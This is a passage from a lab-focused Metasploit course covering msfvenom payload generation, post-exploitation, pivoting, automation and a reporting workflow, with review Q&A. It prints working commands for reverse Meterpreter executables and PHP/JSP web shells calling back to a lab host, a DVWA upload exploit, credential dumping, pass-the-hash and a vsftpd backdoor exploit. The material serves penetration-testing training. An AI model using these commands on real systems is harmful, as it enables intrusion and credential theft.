From a fresh shell session (not Meterpreter) on Metasploitable2, upgrade to Meterpreter yourself using `shell_to_meterpreter`, then migrate to a different process than the one you landed in, and capture proof (via `getpid` before and after) that migration actually occurred.

Review Questions

1. Why might you migrate Meterpreter to a different process?
2. What's the architecture constraint on migration?
3. Which command tells you the current effective user context of a session?
4. Why is persistence something you should never deploy without explicit authorization and documentation?
5. What does the `incognito` extension allow, conceptually?

Answers

1. To improve session stability/survivability by moving off a short-lived or fragile process onto a long-running stable one.
2. The target process must match the Meterpreter session's architecture (x86-to-x86 or x64-to-x64); mismatches fail.
3. `getuid`.
4. Because an undocumented persistence mechanism left on a client system after an engagement is effectively an unauthorized backdoor — a serious ethical and professional failure, even if originally created "for testing."
5. It lets you list and impersonate Windows access tokens already present in memory, effectively borrowing another account's access without needing its password.

MODULE 06

MSFVenom Mastery

Objectives

Generate standalone payloads with msfvenom across multiple formats, understand encoder usage and its real limits, customize payloads with bad-character filtering and templates, and set up matching handlers to catch reverse connections — all inside an isolated lab network.

Theory

`msfvenom` is the standalone payload generator that replaced the older separate `msfpayload/msfencode` tools. It takes the same payload modules used inside msfconsole and packages them into a deliverable file format (an EXE, an ELF, a PHP script, a WAR file, an APK, raw shellcode, and many more) that you can deploy via whatever delivery mechanism your lab scenario calls for.

Deep Technical Explanation

Basic payload creation syntax

```
msfvenom -p <payload/path> LHOST=<ip> LPORT=<port> -f <format> -o <outfile>
```

Example — a Windows reverse Meterpreter EXE:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe -o shell.exe
```

Payload formats

```
msfvenom --list formats
```

Common ones you'll use constantly: `exe` (Windows executable), `elf` (Linux executable), `raw` (raw shellcode bytes, for embedding in custom code), `war` (Java web archive, for Tomcat-style targets), `apk` (Android), `psh/psh-reflection` (PowerShell-based delivery).

Encoders

```
msfvenom --list encoders
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -e x64/zutto_dekiru -f exe -o shell_encoded.exe
```

Important framing for this lab: encoding here is for compatibility (avoiding bad characters in constrained delivery contexts) and basic obfuscation practice, not a reliable way to defeat modern endpoint protection. Treat any AV-evasion testing strictly as "does my lab AV flag this," never as a real evasion technique to rely on outside a controlled lab.

Payload customization

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 \
  -b '\x00\x0a\x0d' \
  -f raw -o shell.bin
```

-b excludes "bad characters" that would break the specific delivery context (e.g., a null byte terminating a string early). **-i** controls encoder iteration count. **-x** lets you specify an existing executable as a template to inject the payload into (useful for "trojanized" lab exercises that simulate social engineering delivery, strictly inside your isolated network).

Reverse vs bind payloads

- **Reverse** (*_reverse_tcp) — the target initiates the outbound connection back to you. Works well when the target is behind NAT/firewall rules that allow outbound but block inbound (the overwhelmingly common real-world case).
- **Bind** (*_bind_tcp) — the target opens a listening port and waits for you to connect inbound. Useful when you already have an inbound path but the target can't reach you outbound.

Web payloads

```
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f raw -o shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f raw -o shell.jsp
```

These are designed to be dropped via an existing file-upload vulnerability in a vulnerable web app lab (DVWA's "File Upload" module is the canonical teaching target).

Practical Examples — Full Generate-and-Catch Cycle

```
# 1. Generate
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f elf -o shell.elf
chmod +x shell.elf

# 2. Set up the matching handler in msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.56.1
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run

# 3. On the target (Metasploitable2 or any lab VM you control), simulate execution:
./shell.elf
```

Expected output: The handler reports `[*] Meterpreter session 1 opened` once `shell.elf` runs on the target.

Common Mistakes

- Mismatching payload architecture/format and target OS (e.g., generating an `exe` and trying to run it on a Linux box).
- Forgetting that the handler's `PAYLOAD/LHOST/LPORT` must exactly match what `msfvenom` baked into the file, or the callback never completes correctly.
- Believing an encoded payload is "safe" to test against production antivirus or to use outside a lab — treat every generated payload as lab-only material.
- Not testing the generated payload at all before assuming it "should work" in a timed exam scenario.

Real-World Usage

On authorized engagements, `msfvenom`-generated payloads are typically delivered through a vulnerability already discovered during exploitation (a file upload flaw, a command injection point) rather than through social engineering, unless social engineering is explicitly in scope and separately authorized — payload generation is the easy part, getting authorized delivery right is the part that actually requires judgment.

Guided Lab — Web Shell via DVWA File Upload

Objective: Generate a PHP Meterpreter payload and deliver it through DVWA's intentionally vulnerable file upload feature.

Setup: DVWA running and accessible, security level set to "low" for this first pass.

Steps:

1. `msfvenom -p php/meterpreter_reverse_tcp LHOST=<kali-ip> LPORT=4444 -f raw -o shell.php`

2. Start a matching `exploit/multi/handler` listener as shown above (PAYLOAD `php/meterpreter_reverse_tcp`).
3. Log into DVWA, navigate to the File Upload module, upload `shell.php`.
4. Browse to the uploaded file's path to trigger execution.

Expected output: The handler should report a new Meterpreter session.

Verification: `sessions -l` shows the session; `sysinfo` from inside it reports the DVWA host's OS details.

Troubleshooting: If the upload is rejected, confirm DVWA's security level isn't set to "high" (which adds stricter file-type validation by design, for a later, harder lab pass).

Challenge Lab

Generate a Linux ELF reverse Meterpreter payload with bad-character exclusion for `\x00`, encode it once, and successfully catch a session with a matching handler — entirely from memory of the syntax pattern, no copy-pasting.

Review Questions

1. What replaced `msfpayload/msfencode`, and why?
2. What is the actual purpose of the `-b` bad-characters flag?
3. When would you choose a bind payload over a reverse payload?
4. Why shouldn't you rely on `msfvenom` encoders for real-world AV evasion?
5. What must match exactly between a generated payload and its catching handler?

Answers

1. `msfvenom`, which unified payload generation and encoding into a single, simpler tool.
2. To exclude specific byte values that would break the payload in its specific delivery context (e.g., a null byte that would prematurely terminate a string-based injection point).
3. When the target can't reach you outbound but you already have a way to connect inbound to it.
4. Modern antivirus/EDR uses behavioral and heuristic detection far beyond simple byte-signature matching, so basic encoding offers little to no real protection outside a controlled lab test.
5. Payload type, LHOST, and LPORT (and format/architecture compatibility with the target).

MODULE 07

Post-Exploitation

Objectives

Use Metasploit's post-exploitation modules to gather system and network information, understand credential collection at a conceptual level, enumerate for privilege escalation opportunities, map the internal network from a compromised host, and organize everything you collect.

Theory

Post-exploitation is where an engagement's actual value gets demonstrated to a client: a session alone proves a vulnerability exists, but post-exploitation proves and quantifies impact ("from this single foothold, here is what an attacker could actually reach"). Discipline matters more here than anywhere else in the course — everything you do post-compromise should be deliberate, documented, and scoped.

Deep Technical Explanation

Information gathering

```
meterpreter > sysinfo
meterpreter > getuid
meterpreter > ipconfig           # Windows
meterpreter > arp                # local ARP table, hints at neighboring hosts
run post/multi/recon/local_exploit_suggester
```

Credential collection concepts

On a Windows target with sufficient privileges, Metasploit's `hashdump` post-exploitation capability (via the `priv` extension) extracts the local SAM database's password hashes, and the `kiwi` extension (Meterpreter's built-in Mimikatz integration) can extract plaintext credentials and tickets from memory under the right conditions. Conceptually, the key things to understand: these hashes/credentials are extremely sensitive data, real password equivalents in many authentication schemes (pass-the-hash), and in any authorized engagement context must be handled, stored, and reported with the same care as any other sensitive client data — encrypted storage, restricted access, deleted per the engagement's data-handling agreement once reporting is done.

```
meterpreter > load kiwi
meterpreter > help kiwi
```

Privilege escalation enumeration

```
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
msf6 post(multi/recon/local_exploit_suggester) > run
```

This module cross-references the target's patch level/kernel version against Metasploit's own local-exploit module library and suggests which ones might apply — a major time-saver versus manually checking each one.

Network discovery from a compromised host

```
meterpreter > run post/multi/gather/ping_sweep RHOSTS=192.168.57.0/24
meterpreter > route # (inside msfconsole, once autoroute is set, see Module 8)
```

Lateral movement concepts

Modules like `exploit/windows/smb/psexec` (using harvested or pass-the-hash credentials) let you re-use a compromised host's access to authenticate to and gain code execution on a *different* host — the conceptual core of lateral movement. This always assumes the credentials/hashes were obtained legitimately within engagement scope, and on real engagements lateral movement is typically a clearly negotiated, separately scoped activity given its potential to disrupt production systems.

Data collection (loot)

```
meterpreter > loot
msf6 > loot
```

Metasploit automatically tracks files pulled via certain post modules (like `hashdump`) in its loot database, tagged by host and type — useful for both your own reference and for generating a clean evidence appendix later.

Practical Examples — Post-Exploitation Pass on Metasploitable2

```
meterpreter > sysinfo
meterpreter > getuid
msf6 > use post/multi/gather/env
msf6 post(multi/gather/env) > set SESSION 1
msf6 post(multi/gather/env) > run
```

Expected output: A dump of the target's environment variables, which can reveal interesting paths, usernames, or configuration hints.

Common Mistakes

- Jumping straight to privilege escalation modules without first doing basic manual enumeration (`sysinfo`, checking running processes, checking installed software) to build context.
- Running noisy, exhaustive scans from a compromised host without considering detection risk or scope boundaries.
- Treating any harvested credential casually instead of as sensitive data requiring careful handling.
- Forgetting to record **where** (which host, which session) each piece of loot came from, making the eventual report harder to write accurately.

Real-World Usage

A typical professional post-exploitation sequence: confirm identity/privilege (`getuid`), confirm OS/patch level (`sysinfo`), run `local_exploit_suggester`, check for any locally cached credentials appropriate to the engagement's authorized scope, map immediately-reachable network segments, and document everything continuously rather than trying to reconstruct it afterward from memory.

Guided Lab — Privilege Escalation Enumeration

Objective: Run automated privesc enumeration against a Metasploitable2 (or lab Linux VM) session and interpret the results.

Setup: An active session from Module 4/5.

Steps:

1. `sessions -l` → note session ID.
2. `use post/multi/recon/local_exploit_suggester`
3. `set SESSION <id>` → `run`
4. Pick one suggested module, `info` it, and read its description (don't necessarily run it — the point of this lab is interpretation).

Expected output: A list of candidate local exploits with a likelihood rating for each.

Verification: Be able to explain, in your own words, why the suggester flagged the modules it did, based on the kernel/OS version `sysinfo` reported.

Troubleshooting: If the suggester returns nothing, the session may already be at a privilege level it can't meaningfully escalate further, or the target's patch level genuinely has no matching local exploits in Metasploit's library.

Challenge Lab

From your current session, gather environment variables, list running processes, and identify (by reasoning about names/paths, not guessing) which process looks like the most promising migration target for stability — then justify your choice in writing.

Review Questions

1. Why does post-exploitation matter for demonstrating impact, beyond just "I got a session"?
2. What does `local_exploit_suggester` actually do under the hood?
3. Why must harvested credentials/hashes be handled with special care during an engagement?
4. What is "pass-the-hash" conceptually?
5. Why should lateral movement typically be a separately negotiated, explicitly scoped activity?

Answers

1. A session proves a vulnerability is exploitable; post-exploitation quantifies and demonstrates the real business impact (what data, systems, or access an attacker could actually obtain from that single foothold).
2. It compares the target's reported OS/kernel/patch version against Metasploit's own catalog of local privilege-escalation modules and reports which ones are plausible matches.
3. Because they are functionally equivalent to real passwords/access in many cases, and mishandling them (insecure storage, unnecessary retention, casual sharing) creates real security and legal risk for the client.
4. Authenticating to a system using a captured password hash directly, without ever knowing or cracking the underlying plaintext password.
5. Because moving between systems on a client's network carries higher risk of disruption to production systems and touches a broader set of data/assets, which clients often want explicit visibility into and control over before it happens.

MODULE 08

Pivoting and Routing

Objectives

Understand and practice pivoting: route traffic through a compromised host into a network segment you can't directly reach, set up port forwarding, and configure a SOCKS proxy to point external tools (like Nmap or a browser) through your foothold.

Theory

Real networks are segmented. The host you compromise first is rarely the host that matters most — it's the bridge to an internal segment that wasn't reachable from your original attack position. Pivoting is how you extend your reach through that bridge without needing to physically move your attacking machine.

Deep Technical Explanation

The concept

```
[Kali] --- reachable ---> [Host A, compromised, dual-homed] --- NOT directly reachable from Kali ---> [Host B, internal segment]
```

Once Host A is compromised and you have a Meterpreter session on it, Metasploit can route traffic destined for Host B's subnet *through* that session, as if Kali itself had a network interface on the internal segment.

Autoroute

```
meterpreter > run autoroute -s 192.168.57.0/24
# or, post-module style:
msf6 > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > set SUBNET 192.168.57.0
msf6 post(multi/manage/autoroute) > run
msf6 > route print
```

Once a route exists, **other Metasploit modules** (scanners, exploits, even another `multi/handler` for a second-stage payload) can now target hosts on `192.168.57.0/24` directly — `msfconsole` transparently routes that traffic through the session.

Port forwarding

```
meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.57.20
```

This makes `localhost:3389` on Kali forward straight to `192.168.57.20:3389` through the compromised host — letting you point a normal local RDP client at `127.0.0.1:3389` as if it were directly reachable.

SOCKS proxies

Autoroute only helps *Metasploit's own* modules. To point external tools (Nmap, a browser, curl) through your pivot, you need a SOCKS proxy:

```
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 5
msf6 auxiliary(server/socks_proxy) > run -j
```

Then configure `proxychains` (on Kali, edit `/etc/proxychains4.conf` to point at `127.0.0.1 1080`) and run any external tool prefixed with `proxychains`:

```
proxychains nmap -sT -Pn 192.168.57.20
```

(`-sT` and `-Pn` matter here — SOCKS proxies generally only support full TCP connect scans, not raw SYN scans or ICMP-based host discovery.)

Multi-network environments

A realistic lab setup mirrors common corporate segmentation: a DMZ-style segment Kali can reach directly, and a fully internal segment it cannot, with the only path between them being a dual-homed host you must first compromise.

```
[Kali] -- vboxnet0 (DMZ) -- [Pivot Host: 2 NICs] -- vboxnet1 (Internal) -- [Internal Target]
```

Practical Examples — Two-Hop Lab

1. Compromise the dual-homed pivot host on the DMZ segment (any Module 4 technique).
2. `run autoroute -s <internal-subnet>/24`
3. `route print` — confirm the route now exists.
4. `use auxiliary/scanner/portscan/tcp → set RHOSTS <internal-target-ip> → run` — this now works *through* the pivot, even though Kali has no direct route to that subnet at the OS level.

Expected output: The portscan returns results for the internal target, proving the route is functioning.

Common Mistakes

- Forgetting that autoroute only benefits Metasploit's own modules — trying to `nmap` (the standalone CLI tool) an internal host directly and being confused why it times out.
- Using `-sS/-sn` through a SOCKS proxy (these require raw socket access SOCKS can't provide) instead of `-sT -Pn`.
- Losing the route silently when the underlying session dies, then spending time debugging "why did my internal scan stop working" instead of just re-checking `sessions -l`.
- Not documenting the pivot topology, which makes the eventual report's network diagram much harder to reconstruct accurately.

Real-World Usage

Pivoting is frequently the single most valuable skill that separates a junior tester from a senior one on internal/segmented engagements — initial access is often on a low-value DMZ host, and the real demonstrable risk (domain controllers, finance systems, internal admin panels) sits one or two pivots deeper.

Guided Lab — Building and Using a Pivot

Objective: Establish a route through a compromised dual-homed host and successfully scan a target on the otherwise-unreachable segment.

Setup: Two internal/host-only networks in your hypervisor; a pivot VM with one NIC on each, plus a target VM only on the second network.

Steps:

1. Confirm from Kali that you can reach the pivot host but **not** the deeper internal target (`ping` should fail to the internal target directly).
2. Compromise the pivot host, get a session.
3. `run autoroute -s <internal-subnet>/24`
4. `use auxiliary/scanner/portscan/tcp`, target the internal host, `run`.

Expected output: Open ports on the internal target are reported despite Kali having no direct OS-level route to that subnet.

Verification: `route print` inside msfconsole lists the active route through the correct session ID.

Troubleshooting: If the scan hangs indefinitely, confirm the pivot session is still alive (`sessions -l`) — a dead session silently breaks the route.

Challenge Lab

Set up a SOCKS proxy through your existing pivot session, configure proxychains, and successfully run an external tool (`proxychains curl` or `proxychains nmap -sT -Pn`) against the internal target — demonstrating that non-Metasploit tools can now also reach the deeper segment.

Review Questions

1. What's the core difference between what autoroute enables versus what a SOCKS proxy enables?
2. Why must SOCKS-proxied Nmap scans use `-sT -Pn`?
3. What happens to an active route if the underlying session dies?
4. In the two-hop lab topology, why does the pivot host need two network interfaces?
5. Why is pivoting often described as more valuable on internal engagements than initial exploitation itself?

Answers

1. Autoroute only routes traffic for Metasploit's own internal modules; a SOCKS proxy exposes that same routed access to any external tool capable of using a SOCKS proxy.
2. Because SOCKS proxies only support full TCP connections, not raw SYN packets or ICMP, so SYN scans (`-ss`) and ping-based host discovery don't function through them.
3. The route becomes unusable/breaks silently — any module relying on it will fail or hang until a new session is established and a new route configured.
4. One interface keeps it reachable from your existing position (Kali); the second interface is what actually connects it to the otherwise-unreachable internal segment, making it the bridge.
5. Because initial access is frequently on a lower-value perimeter/DMZ host, while the systems that demonstrate real business risk are typically one or more network segments deeper, only reachable via pivoting.

MODULE 09

Advanced Metasploit

Objectives

Automate repetitive workflows with resource scripts, understand the basic anatomy of a Metasploit module well enough to read and lightly modify one, integrate Nmap data into database-driven assessments, and use the database as the backbone of a structured engagement.

Theory

Once the individual commands from earlier modules are muscle memory, the next level of competence is removing yourself from repetitive manual steps — both for speed and for consistency (a scripted lab setup runs the same way every time; a manually-typed one doesn't).

Deep Technical Explanation

Resource scripts

A resource script (`.rc` file) is just a plain text file of `msfconsole` commands, executed in order:

```
# recon.rc
workspace -a auto-lab
db_nmap -sV 192.168.56.101
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.56.101
run
```

```
msfconsole -r recon.rc
# or, from inside an already-running console:
msf6 > resource recon.rc
```

Automation beyond resource scripts

```
msfconsole -q -x "workspace -a auto-lab; db_nmap -sV 192.168.56.101; exit"
```

-x runs a single semicolon-separated command string non-interactively, useful for cron-scheduled recurring scans of a long-running lab, or for chaining msfconsole into a larger shell script pipeline.

Custom module basics

Every exploit/auxiliary module is a Ruby class. A minimal auxiliary scanner skeleton looks like this:

```
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Example Banner Grabber',
      'Description' => 'Connects to a TCP port and prints whatever banner is returned',
      'Author' => ['your-handle'],
      'License' => MSF_LICENSE
    ))
    register_options([ Opt::RPORT(80) ])
  end

  def run_host(ip)
    connect
    banner = sock.get_once
    print_status("#{ip}:#{datastore['RPORT']} -> #{banner.inspect}")
    disconnect
  end
end
```

Save this under `~/.msf4/modules/auxiliary/scanner/custom_banner_grab.rb`, then in msfconsole:

```
msf6 > reload_all
msf6 > use auxiliary/scanner/custom_banner_grab
```

This is intentionally a minimal, harmless teaching example (a banner grabber) — the point is to demystify the structure (`initialize`/options registration, a `run/run_host` method) so that reading *existing* modules in `/usr/share/metasploit-framework/modules/` stops feeling like reading a foreign language.

Module modification

Editing an existing module (e.g., to add a missing target signature or fix a broken default) is usually as simple as copying it into your user module directory (`~/.msf4/modules/...`, mirroring the same path structure) and editing the copy — Metasploit prioritizes user-directory modules over the system ones, so your edits don't get overwritten by the next `apt upgrade`.

Nmap integration

```
nmap -sV -oX scan.xml 192.168.56.0/24
msf6 > db_import scan.xml
msf6 > hosts
msf6 > services
```

`db_import` accepts Nmap XML (and several other scanner formats), letting you bring in results gathered outside msfconsole — useful when a teammate ran the initial recon with standalone Nmap.

Database-driven assessments

```
msf6 > hosts -c address,os_name,os_flavor
msf6 > services -c port,proto,name,info
msf6 > vulns
msf6 > creds
msf6 > db_export -f xml my-engagement-export.xml
```

Treating the database as the engagement's single source of truth means your final report can be generated largely from structured queries against `hosts/services/vulns/creds` rather than reconstructed from scrollbar and memory.

Practical Examples

```
# Build and run a one-shot recon script
cat > recon.rc << 'EOF'
workspace -a adv-lab
db_nmap -sV -p 21,22,80,139,445 192.168.56.101
services
EOF
msfconsole -q -r recon.rc
```

Expected output: msfconsole launches, runs each line silently in order, and ends sitting at the `services` table output for the scanned ports.

Common Mistakes

- Writing a custom module directly under the read-only system modules path instead of `~/.msf4/modules/`, then losing the edit on the next package update.
- Forgetting `reload_all` after adding/editing a module, then being confused why `use` can't find it.
- Treating `db_import` as a replacement for understanding what the data actually means, rather than just a convenience for ingestion.
- Building resource scripts with hardcoded IPs and never parameterizing them, making them brittle the moment the lab network changes.

Real-World Usage

Consulting teams commonly maintain a library of resource scripts for "day one of every engagement" tasks (workspace creation, standard scan sweeps, standard reporting export commands), turning what used to be 20 minutes of manual setup into a single `msfconsole -r day1.rc`.

Guided Lab — Build a Reusable Recon Script

Objective: Write, run, and verify your own resource script.

Steps:

1. Write a `.rc` file that creates a workspace, runs `db_nmap -sV` against your lab target, and prints `services`.
2. Run it with `msfconsole -q -r yourscript.rc`.
3. Confirm the workspace and scan results persist by opening `msfconsole` normally afterward and checking `workspace / services`.

Expected output: Identical results to manually typing the same commands, but reproducible with one command.

Verification: Re-run the same script against a second target IP by editing only the IP — confirm it still works cleanly.

Troubleshooting: If the script seems to "hang," it's often just `db_nmap` taking longer than expected on a full port range — add `-p` with a smaller port list while testing the script logic itself.

Challenge Lab

Write a minimal custom auxiliary module (based on the skeleton above) that grabs a banner from a port of your choice, load it with `reload_all`, and successfully run it against Metasploitable2 — entirely typed from understanding, not copy-pasted verbatim.

Review Questions

1. What is a resource script, mechanically?
2. Where should custom/modified modules live so they survive package upgrades?
3. What command must you run after adding a new module file before `use` can find it?
4. What format does `db_import` commonly accept from standalone Nmap scans?
5. Why treat the Metasploit database as the engagement's single source of truth?

Answers

1. A plain text file containing a sequence of msfconsole commands, executed in order when loaded via `-r` or the `resource` command.
2. Under your user module directory, `~/.msf4/modules/...`, mirroring the same subdirectory structure as the system modules.
3. `reload_all`.
4. Nmap's XML output format (`-oX`).
5. Because it gives you one consistent, queryable record of every host, service, vulnerability, and credential discovered, which both downstream modules and final reporting can rely on instead of reconstructing data from memory or scrollback.

MODULE 10

Professional Workflow

Objectives

Internalize the full professional penetration-testing kill chain — Reconnaissance → Enumeration → Vulnerability Validation → Exploitation → Post-Exploitation → Documentation → Reporting — and practice it end-to-end in a single simulated assessment combining everything from Modules 1–9.

Theory

Tools don't make a professional tester; a repeatable, defensible process does. Clients and exam graders alike care less about which exact Metasploit module you used and more about whether you followed a methodology that's reconstructable, justifiable, and properly documented. This module is about wiring the previous nine into one disciplined loop.

Deep Technical Explanation — The Workflow

- 1. Reconnaissance** — passive/light-touch information gathering about scope (in a lab, this is mostly "what's actually running in my lab network," in real engagements it includes OSINT, scope documents, rules of engagement).
- 2. Enumeration** — Module 3's territory: host discovery, port/service scanning, protocol-specific enumeration, all logged to the database.
- 3. Vulnerability Validation** — cross-referencing exact service versions against known vulnerabilities, using `check` where available, before ever firing a real exploit (Module 4's discipline).
- 4. Exploitation** — Module 4's mechanics: matched exploit + payload, correct target/architecture, session established.
- 5. Post-Exploitation** — Module 5/7's territory: privilege confirmation, evidence collection, scoped lateral movement/pivoting (Module 8) if in scope.
- 6. Documentation** — continuous, not after-the-fact: screenshots, command output, timestamps, affected hosts/services, as you go.
- 7. Reporting** — translating technical findings into a structured deliverable: executive summary (business risk, plain language), methodology, detailed findings with risk ratings (e.g., Critical/High/Medium/Low, often CVSS-backed), evidence appendix, remediation recommendations.

A Minimal Report Skeleton

1. Executive Summary
 - Engagement scope and dates
 - Overall risk posture in plain language
2. Methodology
 - Tools and techniques used (e.g., "Metasploit Framework 6.x, Nmap, manual verification")
3. Findings
 - Finding 1: [Title] – Risk: Critical/High/Medium/Low
 - Affected host/service
 - Description
 - Evidence (screenshot/command output reference)
 - Remediation recommendation
 - Finding 2: ...
4. Appendix
 - Full command logs
 - Raw scan output references

Practical Examples — Full Simulated Assessment

Scenario: Your lab network contains Metasploitable2 and a DVWA instance. You are authorized (by yourself, in your own lab) to perform a full assessment and produce a short report.

```
# 1. Recon / Enumeration
msf6 > workspace -a capstone-assessment
msf6 > db_nmap -sV -p- 192.168.56.101 # Metasploitable2
msf6 > db_nmap -sV -p- 192.168.56.102 # DVWA host
msf6 > services

# 2. Vulnerability Validation
msf6 > search vsftpd
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > check

# 3. Exploitation
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

# 4. Post-Exploitation
sessions -i 1
sysinfo
getuid
run post/multi/recon/local_exploit_suggester SESSION=1

# 5. Documentation (do this throughout, not just here)
loot
creds
hosts -c address,os_name
services -c port,proto,name,info
```


Expected output across the chain: a populated `services` table for both hosts, a confirmed-vulnerable `check` result, a root-level shell session on Metasploitable2, and a populated `loot/creds` table ready to reference in your report.

Common Mistakes

- Treating documentation as a final step instead of a continuous habit — by the time you "remember to document," half the useful detail (exact timestamps, exact command sequences that worked) is already lost.
- Writing findings in tool-output language instead of plain business-risk language for the executive summary audience.
- Skipping a remediation recommendation on a finding — a finding without "how to fix this" is only half a finding.
- Forgetting to map the report's risk ratings consistently (don't call one finding "Critical" and an equally severe one "High" with no stated rationale).

Real-World Usage

This entire module *is* real-world usage — the workflow described here is, almost verbatim, what's followed on actual paid penetration testing engagements, and it's also exactly the rubric OSCP-style practical exams grade against (methodology and documentation, not just "did you get root").

Guided Lab — The Capstone Walkthrough

Objective: Execute the full seven-stage workflow against your lab network and produce a short written report.

Setup: Metasploitable2 + DVWA running, fresh workspace.

Steps:

1. Run the full command sequence in the Practical Examples section above against both hosts.
2. For DVWA, separately walk through enumeration → identify the file upload vulnerability → exploit it with a generated payload (Module 6) → confirm a session.
3. Using the report skeleton above, write up at least two findings (one per host) with risk rating, evidence reference, and remediation recommendation.

Expected output: A short Markdown or text report with at least two complete findings.

Verification: Have someone else (or re-read it yourself after a break) confirm the report is understandable **without** them having watched you do the work.

Troubleshooting: If you get stuck at any single stage, that's a strong signal to re-read the corresponding earlier module rather than guessing — the workflow only works if each stage is solid.

Challenge Lab

Repeat the full capstone workflow, but this time route through a pivot (Module 8) to reach a third, otherwise-unreachable lab host, and add a third finding to your report describing the internal host's exposure and how it was reached.

Review Questions

1. List the seven stages of the professional workflow in order.
2. Why is documentation described as "continuous" rather than "a final step"?
3. What four things should a well-written finding contain?
4. Why does an executive summary use plain business language instead of tool/technical output?
5. What does it mean for documentation to be "reconstructable" or "defensible"?

Answers

1. Reconnaissance, Enumeration, Vulnerability Validation, Exploitation, Post-Exploitation, Documentation, Reporting.
2. Because critical detail (exact timestamps, the precise sequence of commands that actually worked) degrades quickly from memory — capturing it as you go preserves accuracy that reconstruction afterward can't fully recover.
3. Affected host/service, description of the issue, supporting evidence, and a remediation recommendation (often alongside a risk rating).
4. Because the primary audience for that section is often non-technical decision-makers who need to understand business risk and urgency, not command syntax.
5. That someone else (a peer, a client, an exam grader) could follow your documentation and arrive at the same conclusions/results you did, with clear justification for every step taken.

PART III - V

Reference & Mastery

Internals, cheat sheets, learning roadmaps, certification prep,
curated resources, and final assessments.

TECHNICAL REFERENCE

Deep Technical Internals

This file consolidates the "how does this actually work under the hood" material referenced across earlier modules into one dedicated technical reference.

How Meterpreter Works Internally

Meterpreter is delivered as a Reflective DLL (on Windows) or an equivalent in-memory loader (on other platforms) — meaning the agent's code is injected and executed directly in process memory without ever being written to disk as a standalone executable. This is the core reason it's both stealthier than a traditional dropped binary and entirely gone the moment the hosting process exits or the machine reboots (hence why persistence, covered conceptually in Module 5, is a separate, deliberate decision rather than automatic).

Internally, Meterpreter communicates over a custom **TLV (Type-Length-Value) protocol**: every command sent from msfconsole to the agent, and every response sent back, is packaged as a sequence of typed, length-prefixed fields. This is what lets a single consistent "session" abstraction work across wildly different underlying transports (plain TCP, HTTP, HTTPS) and across different target operating systems — the protocol doesn't care what's carrying it.

A minimal **core** loads first with just enough capability to receive further extensions. Functional command sets (**stdapi** for filesystem/process/networking basics, **priv** for privilege-related actions, **incognito** for token manipulation, **kiwi** for Mimikatz-style credential extraction) are loaded on demand over that same TLV channel, which is why you'll see **load <extension>** commands before certain command sets become available.

How Payloads Communicate

For staged payloads, the stager's only job is establishing a connection (TCP, HTTP, or HTTPS depending on the payload variant) back to a listener and then receiving and executing the stage over that same connection. Modern Meterpreter variants (the HTTP/HTTPS-based ones especially) wrap this communication in TLS and add session-key-based encryption on top, both for reliability across proxies/firewalls that inspect plain TCP traffic less favorably than HTTPS, and to reduce trivial network-level signature detection in lab/exam-style "can you get past basic monitoring" exercises.

Non-staged payloads skip the two-step handshake entirely — the full payload is delivered and executed in one shot, trading a larger initial delivery size for one fewer point of failure.

How Handlers Work

`exploit/multi/handler` (and the implicit handler many exploit modules spin up automatically) is, at its core, just a listener waiting for an incoming connection that matches the configured `PAYLOAD/LHOST/LPORT`. When a stager connects, the handler recognizes the payload type it's configured for and knows exactly what stage to send back (for staged payloads) or simply completes the session setup (for non-staged ones). Running a handler with `-j` backgrounds it as a job, which is essential when you need `msfconsole` free to do other things (like setting up a second handler for a different target) while still waiting on the first.

Session Management

Every established session — Meterpreter or a plain command shell — gets a numeric ID and an entry in `msfconsole`'s internal session table (`sessions -l`). Sessions are decoupled from the module that created them: backgrounding a session (`background` or `Ctrl+Z`) just steps you out of the interactive view; the underlying connection and remote agent keep running independently. This is also why a session can be upgraded in place — `post/multi/manage/shell_to_meterpreter` takes an existing plain shell session, uses it to deliver and execute a Meterpreter payload, and the **new** Meterpreter session appears as a new entry in the same table, with the old shell session typically still present until you choose to kill it.

Module Development

Every Metasploit module is a Ruby class inheriting from a base type (`Msf::Exploit`, `Msf::Auxiliary`, `Msf::Post`) and including relevant **mixins** — reusable chunks of shared functionality (`Msf::Exploit::Remote::Tcp` for raw TCP work, HTTP-client mixins for web-facing modules, SMB mixins for SMB-specific protocol handling, and so on). The `initialize` method registers metadata (name, description, author, references, license) and any module-specific options via `register_options`. Exploit modules implement a `check` method (safe vulnerability verification) and an `exploit` method (the actual trigger); auxiliary scanner modules typically implement `run_host` (called once per target in a range). Reading existing modules under `/usr/share/metasploit-framework/modules/` with this mental model in hand turns them from intimidating Ruby files into recognizable, parseable patterns.

Exploit Selection Methodology

